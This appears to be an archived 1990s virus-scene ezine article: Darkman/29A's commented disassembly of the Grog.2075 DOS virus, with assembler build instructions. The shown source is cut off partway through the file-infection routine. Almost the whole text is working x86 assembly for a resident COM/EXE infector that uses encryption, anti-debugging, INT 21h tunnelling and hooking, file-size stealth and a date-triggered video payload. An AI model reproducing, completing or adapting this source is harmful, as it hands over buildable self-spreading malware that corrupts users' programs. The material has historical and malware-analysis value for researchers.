Copy Link
Add to Bookmark
Report

Xine - issue #3 - Phile 306

eZine's profile picture
Published in 
Xine
 · 4 May 2024

 
/-----------------------------\
| Xine - issue #3 - Phile 306 |
\-----------------------------/



comment *
Grog.2075
Disassembly by
Darkman/29A

Grog.2075 is a 2075 bytes parasitic direct action and resident COM/EXE
virus. Infects files at open file, delete file, get or set file attributes,
load and/or execute program and extended open/create by prepending the virus
to the infected COM file and appending to the infected EXE file. Grog.2075
has an error handler, 8-bit subtract encryption in file, anti-tunneling,
anti-debugging techniques, interrupt stealth at interrupt 21h, filesize
stealth, restro structures and tunneling of interrupt 21h. Grog.2075 is
using the pointer to address of interrupt 13h (disk) handler- and interrupt
21h (DOS functions) get address of InDOS flag DOS exploits.

To compile Grog.2075 with Turbo Assembler v 4.0 type:
TASM /m GROG2075.ASM
TLINK /t /x GROG2075.OBJ
*

.model tiny
.code
org 100h ; Origin of Grog.2075

code_begin:
xor ax,ax ; Zero AX
mov es,ax ; ES = segment of interrupt table
mov ds,ax ; DS = segment of interrupt table

inc ah ; Set trap flag
mov dx,ax ; " " "

mov cx,(crypt_end-crypt_begin)
mov di,(01h*04h) ; DI = offset of interrupt vector 01h
mov si,di ; SI = " " " " "
lodsw ; AX = offset of interrupt 01h
push ax ; Save AX at stack
lodsw ; AX = segment of interrupt 01h
push ax ; Save AX at stack

sub si,02h ; SI = offset of segment of interr...

push ds si ; Save registers at stack

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea si,crypt_begin ; SI = offset of crypt_begin

lea ax,decryptor ; AX = offset of decryptor
stosw ; Set interrupt offset 01h
mov ax,cs ; AX = segment of decryptor
stosw ; Set interrupt segment 01h

push dx ; Save DX at stack
popf ; Load flags from stack (DX)
decrypt_loop:
lodsb ; AL = byte of encrypted code

loop decrypt_loop

mov ax,4c47h ; Terminate with return code
int 21h
decrypt_exit:
iret ; Interrupt return!

decryptor proc near ; Anti-debugging decryptor
mov bp,sp ; BP = stack pointer

push ax ; Save AX at stack

push ds si ; Save registers at stack
lds si,[bp+00h] ; DS:SI = pointer to decryptor loop
lodsb ; AL = byte of decryptor loop
pop si ds ; Load registers from stack

cmp al,0e2h ; LOOP imm8 (opcode 0e2h)?
jne test_int21 ; Not equal? Jump to test_int21

pop ax ; Load AX from stack

add al,00h ; Decrypt byte
decrypt_key equ byte ptr $-01h ; Decryption key

mov [si-01h],al ; Store byte of decrypted code

jmp decrypt_exit
test_int21:
cmp al,0cdh ; INT 21h (opcode 0cdh,21h)?
pop ax ; Load AX from stack
jne decrypt_exit ; Not equal? Jump to decrypt_exit
endp
crypt_begin:
pop ax ax ax ; Load registers from stack

pop di es ax ; Load registers from stack

stosw ; Set interrupt segment 01h
sub di,04h ; DI = offset of offset of interru...
pop ax ; Load AX from stack
stosw ; Set interrupt offset 01h
virus_exit:
mov bx,'Gg' ; Grog.2075 function
mov ax,4b47h ; " "
int 21h

mov ax,2e01h ; Set verify flag (on)
xor dl,dl ; Zero DL
int 21h

mov ah,2fh ; Get disk transfer area address
int 21h
push es bx ; Save registers at stack

call install

lea dx,dta ; DX = offset of dta
mov ah,1ah ; Set disk transfer area address
call int21_simula

call test_assign
jne infect_comma ; ASSIGN not installed? Jump to in...

mov ax,601h ; Get drive assignment table
int 2fh
mov al,es:[105h] ; AL = the drive which C: is mappe...

push ax ; Save AX at stack
mov al,03h ; Mappe drive C: to drive C:
mov es:[105h],al ; Store drive which C: is mapped to
infect_comma:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,c__command_ ; DX = offset of c__command_
mov ax,4300h ; Get file attributes
int 21h

call test_assign
mov_code_end:
jne find_first ; ASSIGN not installed? Jump to fi...

pop ax ; Load AX from stack
mov es:[105h],al ; Store drive which C: is mapped to
find_first:
mov ah,4eh ; Find first matching file
mov cx,0000000000000111b
lea dx,file_specifi ; DX = offset of file_specifi
find_next:
call int21_simula
jc set_dta_addr ; Error? Jump to set_dta_addr

lea dx,filename ; DX = offset of filename
mov ax,4300h ; Get file attributes
int 21h

mov ah,4fh ; Find next matching file

jmp find_next
set_dta_addr:
pop dx ds ; Load registers from stack
mov ah,1ah ; Set disk transfer area address
call int21_simula

jmp virus_exit

test_assign proc near ; Test if ASSIGN is installed
mov ax,600h ; ASSIGN installation check
int 2fh
cmp al,0ffh ; ASSIGN installed?

ret ; Return!
endp

install proc near ; Tunnel, allocate memory, move vi...
mov ax,70h ; AX = segment of address of inter...
mov ds,ax ; DS = " " " " "
les bx,ds:[0b4h] ; ES:BX = pointer to address of in...

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov word ptr [int13_addr],bx
mov word ptr [int13_addr+02h],es

mov ah,34h ; Get address of InDOS flag
int 21h
mov ax,es ; AX = segment of DOS data segment

push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

lea di,dos_data_seg ; DI = offset of dos_data_seg
stosw ; Store segment of DOS data segment

xor ax,ax ; Zero AX
mov ds,ax ; DS = segment of interrupt table
mov si,(21h*04h) ; SI = offset of interrupt vector 21h
lea di,int21_origin ; DI = offset of int21_origin
push si ; Save SI at stack
movsw ; Get interrupt vector 21h
movsw ; " " " "

lea di,int21_addr ; DI = offset of int21_addr
pop si ; Load SI from stack
movsw ; Get interrupt vector 21h
movsw ; " " " "

lds si,ds:[01h*04h] ; DS:SI = pointer to interrupt 01h
lea di,int01_addr ; DI = offset of int01_addr
mov ax,si ; AX = offset of interrupt 01h
stosw ; Get interrupt offset 01h
mov ax,ds ; AX = segment of interrupt 01h
stosw ; Get interrupt segment 01h

xor ax,ax ; Zero AX
mov es,ax ; ES = segment of interrupt table
mov di,(01h*04h) ; DI = offset of interrupt vector 01h
lea ax,tunneler ; AX = offset of tunneler
stosw ; Set interrupt offset 01h
mov ax,cs ; AX = code segment
stosw ; Set interrupt segment 01h

pushf ; Save flags at stack
pop ax ; Load AX from stack (flags)
or ah,00000001b ; Set trap flag
push ax ; Save AX at stack
popf ; Load flags from stack (AX)

mov ax,4343h ; Unknown function
cli ; Clear interrupt-enable flag
pushf ; Save flags at stack
call cs:[int21_origin]

pushf ; Save flags at stack
pop ax ; Load AX from stack (flags)
and ah,11111110b ; Clear trap flag
push ax ; Save AX at stack
popf ; Load flags from stack (AX)

mov ah,62h ; Get current PSP address
int 21h
mov ds,bx ; DS = segment of PSP for current ...

cli ; Clear interrupt-enable flag
mov ax,ds:[02h] ; AX = segment of first byte beyon...
mov cx,((code_end-code_begin+0fh)/10h)*04h-02h
sub ax,cx ; Subtract number of paragraphs to...
mov ds:[02h],ax ; Store new segment of first byte ...

push ax ; Save AX at stack
mov cx,ds ; CX = segment of PSP for current ...
sub ax,cx ; Subtract segment of PSP for curr...
dec cx ; CX = segment of last MCB in chain
mov ds,cx ; DS = " " " " " "
mov ds:[03h],ax ; Store new size of memory block i...
pop es ; Load ES from stack (AX)

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(code_end-code_begin+100h)
rep movsb ; Move virus to top of memory

push es ; Save ES at stack
mov es,cx ; ES = segment of interrupt table
mov di,(21h*04h) ; DI = offset of interrupt vector 21h
lea ax,int21_virus ; AX = offset of int21_virus
stosw ; Set interrupt offset 21h
pop ax ; Load AX from stack
stosw ; Set interrupt segment 21h

sti ; Set interrupt-enable flag

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

ret ; Return!
endp

tunneler proc near ; Interrupt 21h tunneler
push ax bx ; Save registers at stack

mov bx,cs ; BX = code segment
call test_segment
cmp bh,00h ; Not equal to data- and extra se...?
je tst_zero_seg ; Equal? Jump to tst_zero_seg

jmp code_seg_tst
tst_zero_seg:
xor bx,bx ; BX = segment of interrupt table
call test_segment
cmp bh,00h ; Not equal to data- and extra se...?
je test_cs_seg ; Equal? Jump to test_cs_seg

jmp zero_seg_tst
test_cs_seg:
pop bx ax ; Load registers from stack

push bp ; Save BP at stack
test_cs_seg_:
mov bp,sp ; BP = stack pointer

push ax ; Save AX at stack
mov ax,cs ; AX = code segment
cmp [bp+04h],ax ; Code segment equal to segment of...
pop ax ; Load AX from stack
je tunnel_exit_ ; Equal? Jump to tunnel_exit_

cmp [bp+04h],0f000h ; DOS data segment?
dos_data_seg equ word ptr $-02h ; DOS data segment
jne test_opcode ; Not equal? Jump to test_opcode

push ax es ; Save registers at stack

les ax,[bp+02h] ; ES:AX = pointer to interrupt 21h
mov word ptr cs:[int21_addr],ax
mov word ptr cs:[int21_addr+02h],es

pop es ax ; Load registers from stack

and [bp+06h],1111111011111111b

jmp tunnel_exit_
test_opcode:
push ds si ax ; Load registers from stack

lds si,[bp+02h] ; DS:SI = pointer to interrupt 21h
lodsb ; AL = opcode of interrupt 21h
cmp al,9dh ; POPF (opcode 9dh)?
jne test_pushf ; Not equal? Jump to test_pushf

or [bp+08h],0000000100000000b

jmp tunnel_exit
test_pushf:
cmp al,9ch ; PUSHF (opcode 9ch)?
jne test_iret ; Not equal? Jump to test_iret

jmp pushf_simula
test_iret:
cmp al,0cfh ; IRET (opcode 0cfh)?
jne test_dec_sp ; Not equal? Jump to test_dec_sp

or [bp+0ch],0000000100000000b
tunnel_exit:
pop ax si ds ; Load registers from stack
tunnel_exit_:
pop bp ; Load BP from stack

iret ; Interrupt return!
test_dec_sp:
cmp al,4ch ; DEC SP (opcode 4ch)?
jne tunnel_exit ; Not equal? Jump to tunnel_exit

mov ax,[bp+02h] ; AX = instruction pointer of inte...
inc ax ; Increase AX
mov [bp+02h],ax ; Store instruction pointer of int...

push di ; Save DI at stack

push ss ; Save SS at stack
pop ds ; Load DS from stack (SS)

mov si,sp ; SI = stack pointer
mov di,bp ; DI = stack pointer
add di,08h ; DI = offset of end of stack
move_stack:
lodsw ; AL = word of stack
mov [si-03h],ax ; Store word of stack

cmp si,di ; End of stack?
jne move_stack ; Not equal? Jump to move_stack

mov al,01000011b ; AL = low-order 8-bits of flags
mov [bp+07h],al ; Store low-order 8-bits of flags

dec sp ; Decrease SP

pop di ; Load DI from stack

pop ax si ds ; Load registers from stack

jmp test_cs_seg_
code_seg_tst:
pop bx ax ; Load registers from stack

push bp ds ; Save registers at stack

lea bp,int24_exit ; BP = offset of int24_exit
mov ds,bp ; DS = " " "
lea bp,tunneler ; BP = offset of tunneler
call exam_mod_reg

pop ds ; Load DS from stack

jmp test_cs_seg_
zero_seg_tst:
pop bx ax ; Load registers from stack

push bp ; Save BP at stack

push ds ; Save DS at stack

lea bp,int01_addr ; BP = offset of int01_addr
mov ds,bp ; DS = " " "
mov bp,(01h*04h) ; BP = offset of interrupt vector 01h
call exam_mod_reg

pop ds ; Load DS from stack

cmp bp,05h ; Found offset of interrupt table?
je tst_data_seg ; Equal? Jump to tst_data_seg

jmp test_cs_seg_
tst_data_seg:
push ax ; Save AX at stack

push cs ; Save CS at stack

mov ax,ds ; AX = data segment
cmp ax,00h ; Segment of interrupt vector table?
je mov_cs_to_ds ; Equal? Jump to mov_cs_to_ds

pop es ; Load ES from stack (CS)

jmp jump_test_cs
mov_cs_to_ds:
pop ds ; Load DS from stack (CS)
jump_test_cs:
pop ax ; Load AX from stack

jmp test_cs_seg_
pushf_simula:
mov ax,[bp+02h] ; AX = instruction pointer of inte...
inc ax ; Increase AX
mov [bp+02h],ax ; Store instruction pointer of int...

push di ds ; Save registers at stack

push ss ; Save SS at stack
pop ds ; Load DS from stack (SS)

mov si,sp ; SI = stack pointer
mov di,bp ; DI = stack pointer
add di,08h ; DI = offset of end of stack
move_stack_:
lodsw ; AL = word of stack
mov [si-04h],ax ; Store word of stack

cmp si,di ; End of stack?
jne move_stack_ ; Not equal? Jump to move_stack_

sub sp,02h ; Subtract two from SP

pop ds di ; Load registers from stack

push [bp+04h] ; Save flags at stack
pop [bp+06h] ; Load flags from stack

and [bp+06h],1111111011111111b

pop ax si ds ; Load registers from stack

jmp test_cs_seg_

test_segment proc near ; Test data- and extra segment
mov ax,ds ; AX = data segment
cmp ax,bx ; Equal to data segment
jne test_es_seg ; Not equal? Jump to test_es_seg

ret ; Return!
test_es_seg:
mov ax,es ; AX = extra segment
cmp ax,bx ; Equal to extra segment?
jne not_equal ; Not equal? Jump to not_equal

ret ; Return!
not_equal:
xor bh,bh ; Segment not found

ret ; Return!
endp

exam_mod_reg proc near ; Examine and prehaps modify register
cmp ax,bp ; Equal to test register value?
jne exam_bx_reg ; Not equal? Jump to exam_bx_reg

mov ax,ds ; AX = new register value

jmp found_reg
exam_bx_reg:
cmp bx,bp ; Equal to test register value?
jne exam_cx_reg ; Not equal? Jump to exam_cx_reg

mov bx,ds ; BX = new register value

jmp found_reg
exam_cx_reg:
cmp cx,bp ; Equal to test register value?
jne exam_dx_reg ; Not equal? Jump to exam_dx_reg

mov cx,ds ; CX = new register value

jmp found_reg
exam_dx_reg:
cmp dx,bp ; Equal to test register value?
jne exam_si_reg ; Not equal? Jump to exam_si_reg

mov dx,ds ; DX = new register value

jmp found_reg
exam_si_reg:
cmp si,bp ; Equal to test register value?
jne exam_di_reg ; Not equal? Jump to exam_di_reg

mov si,ds ; SI = new register value

jmp found_reg
exam_di_reg:
cmp di,bp ; Equal to test register value?
jne exam_reg_end ; Not equal? Jump to exam_reg_end

mov di,ds ; DI = new register value
found_reg:
inc bp ; BP = found test register value
exam_reg_end:
ret ; Return!
endp
endp

xchg_int13 proc near ; Exchange address of interrupt 13h
push cs cs ; Save segments at stack
pop ds es ; Load segments from stack (CS)

lea si,int13_addr ; SI = offset of int13_addr
lodsw ; Load offset of interrupt 13h
push ax ; Save AX at stack
lodsw ; Load segment of interrupt 13h
push ax ; Save AX at stack

xor ax,ax ; Zero AX
mov ds,ax ; DS = segment of interrupt table
mov si,(13h*04h) ; SI = offset of interrupt vector 13h
lea di,int13_addr ; DI = offset of int13_addr
movsw ; Get interrupt vector 13h
movsw ; " " " "

xor ax,ax ; Zero AX
mov es,ax ; ES = segment of interrupt table
mov di,(13h*04h+02h) ; DI = offset of interrupt segment...

std ; Set direction flag
pop ax ; Load AX from stack
stosw ; Set interrupt segment 13h
pop ax ; Load AX from stack
stosw ; Set interrupt offset 13h

cld ; Clear direction flag

push cs cs ; Save segments at stack
pop ds es ; Load segments from stack (CS)

ret ; Return!
endp
not_infectab:
xor bl,bl ; File not infectable
infectable:
pop cx di es ; Load registers from stack

ret ; Return!

examine_file proc near ; Examine COM/EXE file
push es di cx ; Save registers at stack

push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
find_zero:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
jne find_zero ; Not equal? Jump to find_zero

sub si,05h ; SI = offset of extension
lodsb ; AL = byte of filename
cmp al,'.' ; Found dot before the extension?
jne not_infectab ; Not equal? Jump to not_infectab

mov cs:[com_or_exe],00h ; COM executable

lea di,com_executab ; DI = offset of com_executab
call examine_name
je prepare_loop ; COM executable? Jump to prepare_...

mov cs:[com_or_exe],01h ; EXE executable

lea di,exe_executab ; DI = offset of exe_executab
call examine_name
jne not_infectab ; EXE executable? Jump to not_infe...
prepare_loop:
sub si,05h ; SI = offset of middle of filename
lea di,table_begin ; DI = offset of table_begin
mov cx,(table_end-table_begin)/04h
table_loop:
call examine_name
je not_infectab ; Equal? Jump to not_infectab

add di,04h ; DI = offset of the next four byt...

loop table_loop

mov bl,01h ; File infectable

jmp infectable
endp

examine_name proc near ; Examine filename
push si di cx ; Save registers at stack

mov cx,04h ; Examine four bytes
examine_loop:
lodsb ; AL = byte of filename
and al,01011111b ; Upcase character
scasb ; Match found in examined filename?
jne not_matching ; Not equal? Jump to not_matching

loop examine_loop
not_matching:
cmp cl,00h ; Match found in examined filename

pop cx di si ; Load registers from stack

ret ; Return!
endp

int24_virus proc near ; Interrupt 24h of Grog.2075
pop ax ax ax ; Load registers from stack

pop es ds bp di si dx cx bx ax

push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
or word ptr [bp+06h],0000000000000001b
pop bp ; Load BP from stack
int24_exit:
iret ; Interrupt return!
endp

nop
dta_stealth:
call del_chklist
dta_stealth_:
popf ; Load flags from stack

call int21_simula

push ds es ax bx cx si ; Save registers at stack

pushf ; Save flags at stack
pop ax ; Load AX from stack (flags)

cld ; Clear direction flag

push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
mov [bp+12h],ax ; Store flags
pop bp ; Load BP from stack

jc dta_dont_ste ; Error? Jump to dta_dont_ste

mov ah,2fh ; Get disk transfer area address
call int21_simula

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov si,bx ; SI = offset of disk transfer area
add si,16h ; SI = offset of file time
lodsw ; AX = file time

and al,00011111b ; AL = seconds of file time
cmp al,00010001b ; Infected (34 seconds)?
jne dta_dont_ste ; Not infected? Jump to dta_dont_ste

sub [si+02h],(code_end-code_begin)
dta_dont_ste:
pop si cx bx ax es ds ; Load registers from stack

iret ; Interrupt return!
fcb_stealth:
call del_chklist
fcb_stealth_:
popf ; Load flags from stack

call int21_simula
cmp al,00h ; Match no found?
jne fcb_ste_exit ; Not equal? Jump to fcb_ste_exit

push es ax bx ; Save registers at stack

mov ah,51h ; Get current PSP address
call int21_simula
mov es,bx ; ES = segment of PSP for current ...
cmp bx,es:[16h] ; Parent PSP equal to current PSP?
jne fcb_dont_ste ; Not equal? Jump to fcb_dont_ste

mov bx,dx ; BX = offset of unopened FCB
mov al,[bx] ; AL = extended FCB

push ax ; Save AX at stack
mov ah,2fh ; Get disk transfer area address
call int21_simula
pop ax ; Load AX from stack

inc al ; Extended FCB?
jne not_extended ; Not equal? Jump to not_extended

add bx,07h ; BX = offset of normal FCB
not_extended:
mov ax,es:[bx+17h] ; AX = file time
and ax,0000000000011111b
cmp ax,0000000000010001b
jne fcb_dont_ste ; Not infected? Jump to fcb_dont_ste

sub es:[bx+1dh],(code_end-code_begin)
fcb_dont_ste:
pop bx ax es ; Load registers from stack
fcb_ste_exit:
iret ; Interrupt return!
set_int21_st:
mov word ptr cs:[int21_origin],dx
mov word ptr cs:[int21_origin+02h],ds

popf ; Load flags from stack

iret ; Interrupt return!
get_int21_st:
mov bx,word ptr cs:[int21_origin]
mov es,word ptr cs:[int21_origin+02h]

popf ; Load flags from stack

iret ; Interrupt return!
jmp_dta_ste:
jmp dta_stealth_
jmp_dta_ste_:
jmp dta_stealth
jmp_fcb_ste:
jmp fcb_stealth_
jmp_fcb_ste_:
jmp fcb_stealth

int21_virus proc near ; Interrupt 21h of Grog.2075
pushf ; Save flags at stack

push ax ; Save AX at stack
mov ax,'Gg'
push ax ; Save AX at stack
pop ax ; Load AX from stack

dec sp ; Decrease SP
dec sp ; Decrease SP

pop ax ; Load AX from stack
cmp ax,'Gg' ; Tunneling?
pop ax ; Load AX from stack
je test_functio ; No tunneling? Jump to test_functio

popf ; Load flags from stack

iret ; Interrupt return!
test_functio:
cmp ah,4eh ; Find first matching file (DTA)?
je jmp_dta_ste_ ; Equal? Jump to jmp_dta_ste_
cmp ah,4fh ; Find next matching file (DTA)?
je jmp_dta_ste ; Equal? Jump to jmp_dta_ste
cmp ah, 11h ; Find first matching file (DTA)?
je jmp_fcb_ste_ ; Equal? Jump to jmp_fcb_ste_
cmp ah, 12h ; Find next matching file (DTA)?
je jmp_fcb_ste ; Equal? Jump to jmp_fcb_ste

cmp ax,2521h ; Set interrupt vector 21h?
je set_int21_st ; Equal? Jump to set_int21_st
cmp ax,3521h ; Get interrupt vector 21h?
je get_int21_st ; Equal? Jump to get_int21_st

cmp ax,4b47h ; Grog.2075 function?
je jmp_grog_fun ; Equal? Jump to jmp_grog_fun

cmp ax,6c00h ; Extended open/create?
je tst_ext_open ; Equal? Jump to tst_ext_open
cmp ah,3dh ; Open file?
je tst_ext_open ; Equal? Jump to tst_ext_open
cmp ah,56h ; Rename file?
je tst_ext_open ; Equal? Jump to tst_ext_open
cmp ah,43h ; Get or set file attributes?
je tst_ext_open ; Equal? Jump to tst_ext_open
cmp ah,41h ; Delete file?
je tst_ext_open ; Equal? Jump to tst_ext_open
cmp ah,4bh ; Load and/or execute program?
je tst_ext_open ; Equal? Jump to tst_ext_open

jmp int21_exit_
tst_ext_open:
push ax bx cx dx si di bp ds es

cld ; Clear direction flag

cmp ah,6ch ; Extended open/create?
jne not_ext_open ; Not equal? Jump to not_ext_open

mov dx,si ; DX = offset of filename
not_ext_open:
xor al,al ; Zero AL
mov bp,ax ; BP = DOS function
mov si,es ; SI = extra segment

mov ax,3524h ; Get interrupt vector 24h
call int21_simula
push bx es ; Save registers at stack

push ds dx ; Save registers at stack

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,int24_virus ; DX = offset of int24_virus
mov ax,2524h ; Set interrupt vector 24h
call int21_simula

pop dx ds ; Load registers from stack

jmp prepare_exam
jmp_grog_fun:
jmp grog_functio
video_effect:
pop ds dx ; Load registers from stack
mov ax,2524h ; Set interrupt vector 24h
call int21_simula

mov ah,2ah ; Get system date
call int21_simula
cmp dl,11h ; Produce video effect?
jne int21_exit ; Not equal? Jump to int21_exit

mov ax,40h ; AX = segment of BIOS data segment
mov ds,ax ; DS = " " " " "
mov al,ds:[17h] ; AL = keyboard status flag one
and al,01110000b ; Clear insert active, either alt ...
cmp al,01110000b ; Caps lock, num lock and scroll l...
jne int21_exit ; Not equal? Jump to int21_exit

mov ax,0b800h ; AX = segment of text video RAM
mov es,ax ; ES = " " " " "

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

xor di,di ; Zero DI
lea si,stdout_str+01h ; SI = offset of stdout_str + 01h
lea bp,stdout_end ; BP = offset of stdout_end
sto_str_int3:
movsb ; Move byte of stdout_str to text ...

mov al,0cch ; INT 03h (opcode 0cch)
stosb ; Store INT 03h

cmp si,bp ; End of stdout_str?
jne sto_str_int3 ; Not equal? Jump to sto_str_int3

push cs ; Save CS at stack
pop bx ; Load BX from stack (CS)
sub bx,1ffeh ; Subtract eight thousand nine-hun...

mov ah,2ch ; Get system time
call int21_simula
cmp dx,bx ; Seconds below top of memory?
jb store_nop ; Below? Jump to store_nop

xor dh,dh ; Zero DH
store_nop:
push dx ; Save DX at stack
pop es ; Load ES from stack (DX)

mov di,cx ; DI = hour and minute
mov al,90h ; NOP (opcode 90h)
stosb ; Store NOP
int21_exit:
pop es ds bp di si dx cx bx ax
int21_exit_:
popf ; Load flags from stack

db 0eah ; JMP imm32 (opcode 0eah)
int21_origin dd ? ; Address of interrupt 21h
endp
grog_functio:
cmp bx,'Gg' ; Grog.2075 function?
jne int21_exit_ ; Not equal? Jump to int21_exit_

pop ax ax ds ; Load registers from stack

push ds ; Save DS at stack
pop es ; Load ES from stack (DS)

cmp [com_or_exe],01h ; EXE executable?
je vir_exe_exit ; Equal? Jump to vir_exe_exit

mov si,[origin_off] ; SI = offset of original code of ...
mov ax,100h ; AX = offset of beginning of code
add si,ax ; SI = offset of original code
mov di,ax ; DI = offset of beginning of code
mov cx,(code_end-code_begin)

push ds ax ; Save registers at stack
restore_loop:
movsb ; Move the original code

loop restore_loop
zero_regs:
xor ax,ax ; Zero AX
mov bx,ax ; Zero BX
mov cx,ax ; Zero CX
mov dx,ax ; Zero DX
mov bp,ax ; Zero BP
mov si,ax ; Zero SI
mov di,ax ; Zero DI

iret ; Interrupt return!
vir_exe_exit:
mov ah,62h ; Get current PSP address
call int21_simula

add bx,10h ; BX = segment of beginning of code
add word ptr [file_header+16h],bx
add word ptr [file_header+0eh],bx

pop ax ; Load AX from stack

cli ; Clear interrupt-enable flag
mov ss,word ptr [file_header+0eh]
mov sp,word ptr [file_header+10h]
sti ; Set interrupt-enable flag

push ax ; Save AX at stack
push word ptr [file_header+16h]
push word ptr [file_header+14h]

sub bx,10h ; BX = segment of PSP for current ...
mov ds,bx ; DS = " " " " " "
mov es,bx ; ES = " " " " " "

jmp zero_regs
prepare_exam:
mov es,si ; ES = extra segment
mov si,dx ; SI = offset of filename
call examine_file
cmp bl,00h ; File not infectable?
jne test_rename ; Not equal? Jump to test_rename

jmp video_effect
test_rename:
cmp bp,5600h ; Rename file?
jne open_file ; Not equal? Jump to open_file

push ds ; Save DS at stack

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov si,di ; SI = offset of filename
call examine_file
pop ds ; Load DS from stack
cmp bl,00h ; File not infectable?
jne open_file ; Not equal? Jump to open_file

jmp video_effect
open_file:
push ds dx ; Save registers at stack

mov cs:[set_file_att],00h

call xchg_int13

pop dx ds ; Load registers from stack

call open_file_

call xchg_int13

jmp video_effect

open_file_ proc near ; Get file attributes, open file, ...
mov ax,4300h ; Get file attributes
call int21_simula
push cx ; Save CX at stack
jc open_error ; Error? Jump to open_error

mov ax,3d00h ; Open file (read)
call int21_simula
xchg ax,bx ; BX = file handle
jc open_error ; Error? Jump to open_error

push dx ; Save DX at stack
mov ax,5700h ; Get file's date and time
call int21_simula
and cl,00011111b ; CL = seconds of file time?
cmp cl,00010001b ; Already infected? (34 seconds)?
pop dx ; Load DS from stack
je already_inf ; Equal? Jump to already_inf

push ds dx ; Save registers at stack
call tst_filesize

mov ah,3eh ; Close file
call int21_simula
pop dx ds ; Load registers from stack

pop cx ; Load CX from stack

cmp cs:[set_file_att],00h
je dont_set_att ; Don't set file attributes? Jump ...

mov ax,4301h ; Set file attributes
call int21_simula
dont_set_att:
ret ; Return!
open_error:
pop cx ; Load CX from stack

ret ; Return!
already_inf:
pop cx ; Load CX from stack

mov ah,3eh ; Close file
call int21_simula

ret ; Return!
endp

db '>>4/93<<'

tst_filesize proc near ; Test filesize
push dx ; Save DX at stack

push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

mov al,02h ; Set current file position (EOF)
xor dx,dx ; Zero DX
call set_file_pos

mov cs:[origin_off],ax ; Store offset of original code of...

cmp ax,(code_end-code_begin+100h)
jb filesiz_exit ; Below? Jump to filesiz_exit

cmp cs:[com_or_exe],01h ; EXE executable?
je dont_test ; Equal? Jump to dont_test

cmp dx,00h ; Filesize too large?
jne filesiz_exit ; Not equal? Jump to filesiz_exit

cmp ax,0fefeh-(code_end-code_begin+18dh)*05h+06h
ja filesiz_exit ; Above? Jump to filesiz_exit
dont_test:
pop dx ; Load DX from stack

call infect_file

ret ; Return!
filesiz_exit:
pop ax ; Load AX from stack (DX)

ret ; Return!
endp

set_file_sof proc near ; Set current file position (SOF)
xor al,al ; " " " " "

set_file_pos proc near ; Set current file position
mov ah,42h ; " " " "
xor cx,cx ; Zero CX
call int21_simula

ret ; Return!
endp
endp

db 'GROG v4.0 (C) ''93 by GROG - Italy'

infect_file proc near ; Infect COM/EXE file
mov ah,3eh ; Close file
call int21_simula

mov ax,4301h ; Set file attributes
xor cx,cx ; CX = new file attributes
call int21_simula
jc open_error_ ; Error? Jump to open_error_

mov cs:[set_file_att],01h

mov ax,3d02h ; Open file (read/write)
call int21_simula
xchg ax,bx ; BX = file handle
jc open_error_ ; Error? Jump to open_error_

push cs cs ; Save segments at stack
pop ds es ; Load segments from stack (CS)

mov ax,5700h ; Get file's date and time
call int21_simula
and cl,11100000b ; Clear seconds of file time
or cl,00010001b ; Set infection mark (34 seconds)

push cx dx ; Save registers at stack

jmp read_file
open_error_:
ret ; Return!
read_file:
mov ah,3fh ; Read from file
mov cx,(code_end-code_begin)
lea dx,file_buffer ; DX = offset of file_buffer
call int21_simula

mov [com_or_exe],00h ; COM executable

cmp word ptr [file_buffer],'ZM'
je infect_exe ; Found EXE signature? Jump to inf...

jmp infect_com
infect_exe:
mov [com_or_exe],01h ; EXE executable

mov word ptr [file_buffer+12h],'ZM'

lea si,file_buffer ; SI = offset of file_buffer
mov cx,18h ; Move eightteen bytes
lea di,file_header ; SI = offset of file_header
move_header:
movsb ; Move file header

loop move_header

xor dx,dx ; Zero DX
mov al,02h ; Set current file position (EOF)
call set_file_pos

push dx ; Save DX at stack
mov dx,word ptr [file_buffer+08h]

mov cl,04h ; Multiply header size in paragrap...
rol dx,cl ; DX = header size
sub ax,dx ; Subtract header size from filesize
push ax ; Save AX at stack
xor cx,cx ; Zero CX
and ax,0000000000001111b
cmp al,00h ; Calculate number of bytes in la...?
je calc_pages_ ; Equal? Jump to calc_pages_

neg al ; Negate AL
and al,00001111b ; AL = number of bytes to write

mov cx,ax ; CX = number of bytes to write
mov ah,40h ; Write to file
call int21_simula

pop ax ; Load AX from stack
add ax,cx ; Add number of bytes actually wri...
cmp ax,cx ; Calculate number of bytes in la...?
jae calc_pages ; Above or equal? Jump to calc_pages

pop dx ; Load DX from stack
inc dx ; Increase DX
push dx ; Save DX at stack
calc_pages:
push ax ; Save AX at stack
calc_pages_:
add cx,((code_end-code_begin) mod 200h)+200h
add word ptr [file_buffer+02h],cx
test_pages:
cmp word ptr [file_buffer+02h],200h
jb calc_cs_ip ; Below? Jump to calc_cs_ip

inc word ptr [file_buffer+04h]
sub word ptr [file_buffer+02h],200h

jmp test_pages
calc_cs_ip:
add word ptr [file_buffer+04h],(code_end-code_begin-200h)/200h

mov word ptr [file_buffer+14h],100h

pop ax ; Load AX from stack

mov cl,04h ; Divide by paragraphs
shr ax,cl ; AX = initial SS and CS relative ...
sub ax,10h ; Subtract instruction pointer
mov word ptr [file_buffer+16h],ax
mov word ptr [file_buffer+0eh],ax

xor dx,dx ; Zero DX

pop cx ; Load CX from stack (DX)
calc_vir_ptr:
add dh,10h ; Calculate pointer to virus

loop calc_vir_ptr

add word ptr [file_buffer+16h],dx

add dx,100h ; DX = initial SS relative to star...
add word ptr [file_buffer+0eh],dx
mov word ptr [file_buffer+10h],1036h

xor dx,dx ; Zero DX
call set_file_sof

mov cx,18h ; Write eigthteen bytes
lea dx,file_buffer ; DX = offset of file_buffer
mov ah,40h ; Write to file
call int21_simula

xor dx,dx ; Zero DX
mov al,02h ; Set current file position (EOF)
call set_file_pos

